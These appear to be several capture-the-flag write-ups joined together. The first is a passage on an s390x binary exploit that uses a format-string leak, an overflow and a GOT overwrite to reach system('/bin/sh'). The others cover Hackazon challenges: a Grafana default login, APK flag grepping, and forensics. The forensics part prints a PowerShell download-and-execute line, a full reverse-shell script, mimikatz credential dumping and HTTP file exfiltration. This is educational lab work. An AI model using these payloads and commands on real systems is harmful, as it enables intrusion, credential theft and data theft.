Processing data...(nil)0x7f717d0594d80x7f717d0594d80x10009b00x25702570257025700x25702570257025700x25702570333333330x33333333333333330x33333333333333330x333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333$ ``````gefโค x/5i 0x7f717d0594d8 0x7f717d0594d8: .long 0x00007f71 0x7f717d0594dc: de %f0,1472(%r5,%r9) 0x7f717d0594e0: .long 0x00007f71 0x7f717d0594e4: de %f0,1264(%r5,%r9) 0x7f717d0594e8: .long 0x007b5ae7gefโค x/5i printf 0x7f717c7a5b50 <printf>: std %f0,128(%r15) 0x7f717c7a5b54 <printf+4>: std %f2,136(%r15) 0x7f717c7a5b58 <printf+8>: std %f4,144(%r15) 0x7f717c7a5b5c <printf+12>: std %f6,152(%r15) 0x7f717c7a5b60 <printf+16>: stmg %r3,%r15,24(%r15)```On the buffer overflow front, once we get to the end of the main function, we can view all of the registers to see what has been affected. Most notably, all of the r11-r15 registers seem to have changed based on my input, and r14 specifically holds the address that I am trying to jump to. In the case of r15, we seem to have a partial overwrite with the newline character.```r11 0x6161616161616161 0x6161616161616161r12 0x6161616161616161 0x6161616161616161r13 0x6161616161616161 0x6161616161616161r14 0x1000830 0x1000830r15 0xa007f717d059998 0xa007f717d059998```When the jump occurs, it seems to get to the start of the main function initially, then crash on the first instruction, which seems to be operating on r11 and r15.```Program received signal SIGSEGV, Segmentation fault.0x0000000001000830 in main ()2: x/5i $pswa=> 0x1000830 <main>: stmg %r11,%r15,88(%r15)```I will note at this point that I did try jumping into the various points in the middle of main to avoid dealing with this, but none really worked since most libc functions contain similar lines that cause crashes when called:```gefโค disas setvbufDump of assembler code for function setvbuf: 0x00007f717c6c3960 <+0>: stmg %r6,%r15,48(%r15)```In order to determine what might be going wrong, let's have a look at what r11 and r15 are set to at the start of main during its initial run since those are the registers involved in the crashing instruction:```2: x/5i $pswa=> 0x1000830 <main>: stmg %r11,%r15,88(%r15) 0x1000836 <main+6>: lay %r15,-1192(%r15) 0x100083c <main+12>: lgr %r11,%r15 0x1000840 <main+16>: lgrl %r1,0x1001ff0 0x1000846 <main+22>: lg %r1,0(%r1)3: x/xg $r2 0x1: <error: Cannot access memory at address 0x1>4: x/xg $r3 0x7f717d059c78: 0x00007f717d059e7a5: x/xg $r4 0x7f717d059c88: 0x00007f717d059e86[ Legend: Modified register | Code | Heap | Stack | String ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ registers โโโโ[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'gefโค x/gx $r110x7f717d059c78: 0x00007f717d059e7agefโค x/gx $r150x7f717d059998: 0x00007f717c8389f8```Basically, they seem to be somewhat analagous to rbp and rsp, and need to contain values for some sort of stack. Now, I've since realized that I probably could have avoided messing with r15 if I had just switched to send() instead of sendline() in order to avoid partial overwrite with the newline character, but I just didn't think of that at the time. Instead, since this binary has PIE disabled, I decided to use what should be analagous to the .bss section as a makeshift stack, since this is read-writable memory in a reliable location. Since vmmap and got don't seem to work with this architecture, I found the area by looking up a plt entry to find its got entry, and assuming that it should last a typical 0x1000 bytes:```gefโค x/5i 0x1000654 0x1000654 <puts@plt>: larl %r1,0x1002018 <[emailย protected]> 0x100065a <puts@plt+6>: lg %r1,0(%r1) 0x1000660 <puts@plt+12>: br %r1 0x1000662 <puts@plt+14>: basr %r1,%r0 0x1000664 <puts@plt+16>: lgf %r1,12(%r1)gefโค x/20gx 0x10020180x1002018 <[emailย protected]>: 0x0000000001000662 0x00007f717c66b7500x1002028 <[emailย protected]>: 0x00000000010006a2 0x00000000010006c20x1002038: 0x0000000000000000 0x00000000000000000x1002048 <completed.1>: 0x0000000000000000 0x00000000000000000x1002058: 0x0000000000000000 0x00000000000000000x1002068: 0x0000000000000000 0x00000000000000000x1002078: 0x0000000000000000 0x0000000000000000```So, what I ended up doing was to set r15 to a value near the end of this .bss section, and set r11-r13 to the same just to be safe. Now it seems to be working nicely, and I can jump to an arbitrary location within memory.
Here is my revised payload:```fake_stack_area = 0x1002f80
payload = padding
payload = xorer(b'%p' * 10)payload += b'a' * (1144 - len(payload) - 8 * 3)payload += p64(fake_stack_area)[::-1] * 3payload += p64(main)[::-1]payload += p64(fake_stack_area)[::-1]```And here is the program running with main being called again without issue:```knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x$ python3 gibson_writeup.py [+] Opening connection to 172.17.0.2 on port 8888: Doneb'GIBSON S390X\nEnter payroll data:'[*] Switching to interactive mode
Processing data...(nil)0x7f0a437f14d80x7f0a437f14d80x10009b00x25702570257025700x25702570257025700x25702570333333330x33333333333333330x33333333333333330x333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333GIBSON S390XEnter payroll data:Processing data...$ ```## Actually Planning an Exploit:
So, at this point, I really did not want to have to look for gadgets to populate registers and control my arguments. I did notice that the program does have a __libc_csu_init() function that I may experiment with later to see if some sort of ret2csu control of registers can be achievemed (if I do so and have success I'll append that to the end), but overall, my look at the available functions in GDB's disassembly did not seem very promising. Fortunately, the binary is compiled with only partial RELRO, which means that the GOT is writable. As a result, I decided to overwrite the printf instruction with system or execve, since that is the only function called on my own input, in which I can place "/bin/sh" at the start.```knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x$ checksec bin/mainframe[!] Could not populate PLT: AttributeError: arch must be one of ['aarch64', 'alpha', 'amd64', 'arm', 'avr', 'cris', 'i386', 'ia64', 'm68k', 'mips', 'mips64', 'msp430', 'none', 'powerpc', 'powerpc64', 's390', 'sparc', 'sparc64', 'thumb', 'vax'][*] '/home/knittingirl/CTF/CyberOpen22/gibson_s390x/bin/mainframe' Arch: em_s390-64-big RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x1000000)```Now, I could have used the format string vulnerability to overwrite the GOT entry. However, as I was debugging my script to get the reroll of main to work, I noticed something interesting, namely that the address that read() is writing to seems to be dependent on the r11 register, which I have control over. In the following GDB snippet, I jumped directly back to 0x00000000010008b4 (directly after the puts call before the read call), and set r11 and r15 as shown:```1: x/5i $pswa=> 0x10008b4 <main+132>: aghik %r1,%r11,160 0x10008ba <main+138>: lghi %r4,2000 0x10008be <main+142>: lgr %r3,%r1 0x10008c2 <main+146>: lghi %r2,0 0x10008c6 <main+150>: brasl %r14,0x10005f4 <read@plt>3: x/xg $r2 0x0: <error: Cannot access memory at address 0x0>4: x/xg $r3 0x7faeed38a720: 0x00007faeed38a7205: x/xg $r4 0x482: <error: Cannot access memory at address 0x482>6: x/xg $r11 0x1002f80: 0x00000000000000007: x/xg $r15 0x1002f80: 0x0000000000000000...1: x/5i $pswa=> 0x10008c2 <main+146>: lghi %r2,0 0x10008c6 <main+150>: brasl %r14,0x10005f4 <read@plt> 0x10008cc <main+156>: larl %r2,0x1000a6a 0x10008d2 <main+162>: brasl %r14,0x1000654 <puts@plt> 0x10008d8 <main+168>: mvghi 1184(%r11),03: x/xg $r2 0x0: <error: Cannot access memory at address 0x0>4: x/xg $r3 0x1003020: <error: Cannot access memory at address 0x1003020>5: x/xg $r4 0x7d0: <error: Cannot access memory at address 0x7d0>6: x/xg $r11 0x1002f80: 0x00000000000000007: x/xg $r15 0x1002f80: 0x0000000000000000```The chain here seems to be that "aghik %r1,%r11,160" adds 160 to r11 and store the results in r1. Then "lgr %r3,%r1" moves the contents of r1 to r3. Obviously, this particular run ended with nothing getting written anywhere since r3 ended up as unallocated memory, but if I start setting r11 to the start of the GOT - 160, I can do my read directly to the GOT and avoid having to write a format string overwrite.
## Writing the Exploit
In a sample run of the program, the GOT area looks like this:```gefโค x/10gx 0x10020000x1002000 <[emailย protected]>: 0x00007f0f2119ddd0 0x00007f0f211010700x1002010 <[emailย protected]>: 0x00007f0f211760c0 0x00007f0f2111f1500x1002020 <[emailย protected]>: 0x00007f0f210c7750 0x00007f0f2111f9600x1002030 <[emailย protected]>: 0x00007f0f2114dd40 0x00000000000000000x1002040: 0x0000000000000000 0x0000000000000000gefโค x/10gx 0x10020080x1002008 <[emailย protected]>: 0x00007f0f21101070 0x00007f0f211760c00x1002018 <[emailย protected]>: 0x00007f0f2111f150 0x00007f0f210c77500x1002028 <[emailย protected]>: 0x00007f0f2111f960 0x00007f0f2114dd400x1002038: 0x0000000000000000 0x00000000000000000x1002048 <completed.1>: 0x0000000000000000 0x0000000000000000```My plan is to have the start of my input be /bin/sh\x00 so that whatever I overwrite printf with has that as its first argument, so the read GOT entry is getting overwritten with that string. The next entry is printf itself, which I will be overwriting with either execve or system, whatever works. I can get the address of these functions based on the format string libc leak. Finally, I opted to overwrite puts to be portions of main() shortly before the printf call, which means I get to avoid the XORing operation and not mess with my potentially fragile fake stack more than is necessary. The following gets appended to the end up my existing script:```libc = ELF('bin/libc.so.6')
print(target.recvuntil(b'nil)'))libc_leak = target.recv(14)print(libc_leak)printf_libc = int(libc_leak, 16) - 0x9b4468print('the printf libc address should be at ', printf_libc)libc_base = printf_libc - libc.symbols['printf']execve = libc_base + libc.symbols['execve']system = libc_base + libc.symbols['system']sleep = libc_base + libc.symbols['sleep']print('execve should be at', hex(execve))
payload2 = b'/bin/sh\x00' + p64(execve)[::-1] + p64(sleep)[::-1] + p64(main+238)[::-1]target.sendline(payload2)```And here is what the GOT area looks like following the read call:```gefโค x/10gx 0x10020000x1002000 <[emailย protected]>: 0x2f62696e2f736800 0x00007f0f21176c000x1002010 <[emailย protected]>: 0x00007f0f211760c0 0x000000000100091e0x1002020 <[emailย protected]>: 0x0a007f0f210c7750 0x00007f0f2111f9600x1002030 <[emailย protected]>: 0x00007f0f2114dd40 0x00000000000000000x1002040: 0x0000000000000000 0x0000000000000000gefโค x/10gx 0x10020080x1002008 <[emailย protected]>: 0x00007f0f21176c00 0x00007f0f211760c00x1002018 <[emailย protected]>: 0x000000000100091e 0x0a007f0f210c77500x1002028 <[emailย protected]>: 0x00007f0f2111f960 0x00007f0f2114dd400x1002038: 0x0000000000000000 0x00000000000000000x1002048 <completed.1>: 0x0000000000000000 0x0000000000000000```This brings us neatly into an execve call, with /bin/sh as the first argument. As you can see, r3 and r4 were non-null, which is probably why execve failed (it didn't segfault, it just didn't really do anything):```1: x/5i $pswa=> 0x7f8ad542fc00 <execve>: svc 11 0x7f8ad542fc02 <execve+2>: lghi %r4,-4095 0x7f8ad542fc06 <execve+6>: clgr %r2,%r4 0x7f8ad542fc0a <execve+10>: jgnl 0x7f8ad542fc12 <execve+18> 0x7f8ad542fc10 <execve+16>: br %r143: x/xg $r2 0x1002000 <[emailย protected]>: 0x2f62696e2f7368004: x/xg $r3 0x1002000 <[emailย protected]>: 0x2f62696e2f7368005: x/xg $r4 0x7d0: <error: Cannot access memory at address 0x7d0>```Fortunately, system worked to spawn a shell!```1: x/5i $pswa=> 0x7fbd2b56f1b0 <system>: cgije %r2,0,0x7fbd2b56f1bc <system+12> 0x7fbd2b56f1b6 <system+6>: jg 0x7fbd2b56ecf0 0x7fbd2b56f1bc <system+12>: stmg %r14,%r15,112(%r15) 0x7fbd2b56f1c2 <system+18>: larl %r2,0x7fbd2b6a114e 0x7fbd2b56f1c8 <system+24>: lay %r15,-160(%r15)3: x/xg $r2 0x1002000 <[emailย protected]>: 0x2f62696e2f7368004: x/xg $r3 0x1002000 <[emailย protected]>: 0x2f62696e2f7368005: x/xg $r4 0x7d0: <error: Cannot access memory at address 0x7d0>``````knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x$ python3 gibson_writeup.py [+] Opening connection to 172.17.0.2 on port 8888: Doneb'GIBSON S390X\nEnter payroll data:'[!] Could not populate PLT: AttributeError: arch must be one of ['aarch64', 'alpha', 'amd64', 'arm', 'avr', 'cris', 'i386', 'ia64', 'm68k', 'mips', 'mips64', 'msp430', 'none', 'powerpc', 'powerpc64', 's390', 'sparc', 'sparc64', 'thumb', 'vax'][*] '/home/knittingirl/CTF/CyberOpen22/gibson_s390x/bin/libc.so.6' Arch: em_s390-64-big RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledb'\nProcessing data...\n(nil)'b'0x7fbd2bf2f4d8'the printf libc address should be at 140450452713584execve should be at 0x7fbd2b5f0c00[*] Switching to interactive mode0x7fbd2bf2f4d80x10009b00x25702570257025700x25702570257025700x25702570333333330x33333333333333330x33333333333333330x333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333$ lsflagmainframewrapper.sh$ cat flagThis is not a valid flag```Thanks for reading! |
# Gain Access To Some Dashboards
---
Medium | web | 50 points
---
### Description
Look on the site and try to find services, there must be a dashboard to control the area
---
### First Impressions
We are given a random URL [https://1825d1f6964055e82bb5eda70bbc148d.challenge.hackazon.org/](https://1825d1f6964055e82bb5eda70bbc148d.challenge.hackazon.org/) which takes us to a very nice-looking webpage. None of the buttons seem to do anything so instead, I investigated the source code. Inside the source code is a link to the dashboard!
Our link is:
```php [https://1825d1f6964055e82bb5eda70bbc148d.challenge.hackazon.org](https://1825d1f6964055e82bb5eda70bbc148d.challenge.hackazon.org/)/8efwygs6p3gu7zmifcq0```
This directs us to a login page for โGrafanaโ where a quick search of the docs reveals the default login of admin:admin which happens to work here.
We are greeted with this dashboard and clicking the magnifying glass on the left allows us to switch to a different dashboard called โsampleโ which contains our first flag.
# Data Analysis
---
Medium | web | 75 points
---
### Description
Can you find and analyze the data for us? we need information, a code, somethingโฆ
---
Switching back to our โsystemโ dashboard, we find that the explore button takes us to a terminal where we can type commands to access a database. The buckets command reveals the following buckets (tables)
Querying the flag bucket gives us our second flag
# Services Intrusion
---
Medium | web | 175 points
---
### Description
there must be a way to retrieve sensitive AI data for the dashboard, find a way to break one service and get the flag hidden in the system
---
Unfortunately, I had no idea what to do with this part of the challenge and I have not solved it :( |
## PIZZA PAZZI 1
---
Medium | Reversing, Android | 75 Points
---
### Description
Listening in on the conversation
---
### First Impressions
This part of the challenge was initially broken when I attempted the challenge so I have moved this section up to its proper place.
We are given an APK file. Going to google, we see that we can simply extract the files from the apk. We use
```bashapktool d pizza-pazzi.apk```
to do so. Inside, we see a bunch of .smali files but they arenโt terribly readable. So lets see if the easy approach works, if we recursively grep the folder looking for CTF we donโt find any matches (didnโt think that would work) but I decided to try searching the word โhackโ wondering if anything from the events hackazon branding would show up and sure enough, we get a URL [http://pizzapazzi.challenge.hackazon.org](http://pizzapazzi.challenge.hackazon.org) which leads us to a nginx landing page which gives us our first flag! CTF{St4RT_Y0uR_3NG1N3X}.
## PIZZA PAZZI 2 & 3 & 4
---
Medium | Reversing, Android | 75 points total
---
### Description
2: Strange things are happening.โฆ
3: Breaking the chain
4: Whoami?
---
While searching for CTF directly didnโt work, I got the idea from a previous challenge that the flag could be in base64 text instead. I didnโt expect this to work but sure enough, searching for Q1R returns 3 base64 strings!
```bashโโ$ grep -r "Q1R" smali_classes3/com/fooddeliveryapp/Model/Call.smali: const-string v2, "Q1RGe1doMF80bV9JfQ=="smali_classes3/com/fooddeliveryapp/Model/Call.smali: const-string v3, "Q1RGe1doMF80bV9JfQ=="smali_classes3/com/fooddeliveryapp/Model/Call.smali: const-string v1, "Q1RGe1doNHRfMV80bV93MHJ0aH0="smali_classes3/com/fooddeliveryapp/Model/Call.smali: const-string v2, "Q1RGe1doNHRfMV80bV93MHJ0aH0="smali_classes4/com/fooddeliveryapp/Activities/LoginActivity.smali: const-string v1, "Q1RGe1doM3JlXzFzX3RoM19mMDBkfQ=="smali_classes4/com/fooddeliveryapp/Activities/LoginActivity.smali: const-string v2, "Q1RGe1doM3JlXzFzX3RoM19mMDBkfQ=="```
The first one decodes to CTF{Wh0_4m_I} which is the flag for 2.
The second one decodes to CTF{Wh4t_1_4m_w0rth} which is the flag for 3.
And the final one decodes to CTF{Wh3re_1s_th3_f00d} which is the flag for 4.
Too easy! |
### LOCATE THE PAYLOAD
---
Medium | Forensics, IC | 75 points
---
### Description
The attackers seem to have gotten a foothold on our system. And executed some malicious code. We need to know what the code does.
---
### First Impressions
We are given four files,
- unlockthecity.json- unlockthecity.zip- unlockthecity.pcapng- rockyou.txt
I decided to start by unzipping the zip folder. Inside seems to be multiple folders and files from a windows 10 machine. I ran some grep searches on the contents and got a hit for โhackโ which shows a [https://evilai.challenge.hackazon.org/update.ps1](https://evilai.challenge.hackazon.org/update.ps1) link in the Users/unlockthecity/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt file.
This ConsoleHost file seems to be a log of commands run in powershell. The context of our URL in the file is echo IEX(New-Object Net.WebClient).DownloadString('[https://evilai.challenge.hackazon.org/update.ps1](https://evilai.challenge.hackazon.org/update.ps1)') | powershell -noprofile -
Googling seems to reveal that this command runs a script on a remote server and outputs its result to stdout. The command only works in my powershell by removing the pipe, when I do, I get this, our flag for part 1 of this challenge!
```phpโโPS> echo IEX(New-Object Net.WebClient).DownloadString('https://evilai.challenge.hackazon.org/update.ps1%27)IEX$TCPClient = New-Object Net.Sockets.TCPClient('192.168.117.157', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
# CTF{You_Found_The_EVIL_AI_Payload}```
## STOLEN FILES
---
Medium | Forensics, IC | 75 points
---
### Description
To report to the authorities we must know exactly which files have been taken by the attacker. Are you able to figure this out?
---
Moving onto the pcapng file. We can examine it in wireshark and we find the following package when searching for suspiciously large packages.
### Wireshark Package
```phpSHELL> cd C:\TempSHELL> curl -uri http://192.168.117.157:8888/mimikatz.exe -outfile mimikatz.exeSHELL> & .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > dump.txtSHELL> cp dump.txt \\192.168.117.159\unlockthecity\dump.txtcp : The network path was not foundAt line:1 char:1+ cp dump.txt \\192.168.117.159\unlockthecity\dump.txt+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Copy-Item], IOException + FullyQualifiedErrorId : System.IO.IOException,Microsoft.PowerShell.Commands.CopyItemCommand SHELL> $body = "file=$(get-content dump.txt -raw)"SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body $bodyInvoke-RestMethod : The underlying connection was closed: The connection was closed unexpectedly.At line:1 char:1+ Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body ...+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebExc eption + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body $bodyPOST request for /SHELL> cd \\WEF\SecretsSHELL> dir
Directory: \\WEF\Secrets
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/15/2022 11:06 AM 180 A.rtf -a---- 7/15/2022 11:06 AM 180 B.rtf -a---- 7/15/2022 11:06 AM 180 C.rtf -a---- 7/15/2022 11:06 AM 180 D.rtf -a---- 7/15/2022 11:06 AM 180 E.rtf -a---- 7/15/2022 11:06 AM 180 F.rtf -a---- 7/15/2022 11:06 AM 180 G.rtf -a---- 7/15/2022 11:06 AM 180 H.rtf -a---- 7/15/2022 11:06 AM 180 I.rtf -a---- 7/15/2022 11:06 AM 180 J.rtf -a---- 7/15/2022 11:06 AM 180 K.rtf -a---- 7/15/2022 11:06 AM 180 L.rtf -a---- 7/15/2022 11:06 AM 180 M.rtf -a---- 7/15/2022 11:06 AM 180 N.rtf -a---- 7/15/2022 11:06 AM 180 O.rtf -a---- 7/15/2022 11:06 AM 180 P.rtf -a---- 7/15/2022 11:06 AM 180 Q.rtf -a---- 7/15/2022 11:06 AM 180 R.rtf -a---- 7/15/2022 11:06 AM 180 S.rtf -a---- 7/15/2022 11:06 AM 180 U.rtf -a---- 7/15/2022 11:06 AM 180 V.rtf -a---- 7/15/2022 11:06 AM 180 W.rtf -a---- 7/15/2022 11:06 AM 180 X.rtf -a---- 7/15/2022 11:06 AM 180 Y.rtf -a---- 7/15/2022 11:06 AM 180 Z.rtf -a---- 7/15/2022 11:06 AM 180 _.rtf -a---- 7/15/2022 11:06 AM 180 {.rtf -a---- 7/15/2022 11:06 AM 180 }.rtf
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content C.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content {.rtf -raw)"Invoke-Expression : At line:1 char:91+ ... 192.168.117.157:8888 -method POST -body "file=$(get-content {.rtf -ra ...+ ~Missing closing '}' in statement block or type definition.At line:1 char:515+ ... BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-S ...+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException + FullyQualifiedErrorId : MissingEndCurlyBrace,Microsoft.PowerShell.Commands.InvokeExpressionCommand SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content `{.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content X.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content I.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content R.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content A.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content A.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content H.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content I.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content S.rtf -raw)"POST request for /SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content `}.rtf -raw)"POST request for /SHELL>```
Inside there is a series of post requests for files named a-z.rtf and the requests spell out CTF{EXFILTRATE_ALL_THE_FILES}.
## PASSWORD CRACKING
---
Medium | Forensics, IC | 75 points
---
### Description
Can you please find out whether the attack was caused by a weak password? We need to know whether the users are adhering to our password policy. Our password policy for the domain is CTF{[ROCKYOU_1]_[ROCKYOU_2]!} where [ROCKYOU_1] and [ROCKYOU_2] are distinct words from the rockyou.txt list.
---
We find another package in wireshark which shows us the result of the mimikatz malware package that was run. Mimikatz is a program that is able to show windows passwords in plaintext to perhaps we can find a password here?
### Mimikatz Result
```phpPOST / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.18362.145Content-Type: application/x-www-form-urlencodedHost: 192.168.117.157:8888Content-Length: 5810Connection: Keep-Alive
file= .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [emailย protected] ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [emailย protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debugPrivilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 303091 (00000000:00049ff3)Session : Interactive from 1User Name : unlockthecityDomain : WINDOMAINLogon Server : DCLogon Time : 7/15/2022 12:36:04 PMSID : S-1-5-21-2619478417-2971000410-135028378-1107 msv : [00000003] Primary * Username : unlockthecity * Domain : WINDOMAIN * NTLM : c5c70d1571e4fcc0d818cceab3025fcf * SHA1 : c8db2137682086005c05483bd0635ece23811243 * DPAPI : 87bb7ccc8291ba57bf86452544b861ad tspkg : wdigest : * Username : unlockthecity * Domain : WINDOMAIN * Password : (null) kerberos : * Username : unlockthecity * Domain : WINDOMAIN.LOCAL * Password : (null) ssp : credman : cloudap :
Authentication Id : 0 ; 997 (00000000:000003e5)Session : Service from 0User Name : LOCAL SERVICEDomain : NT AUTHORITYLogon Server : (null)Logon Time : 7/15/2022 12:35:28 PMSID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman : cloudap :
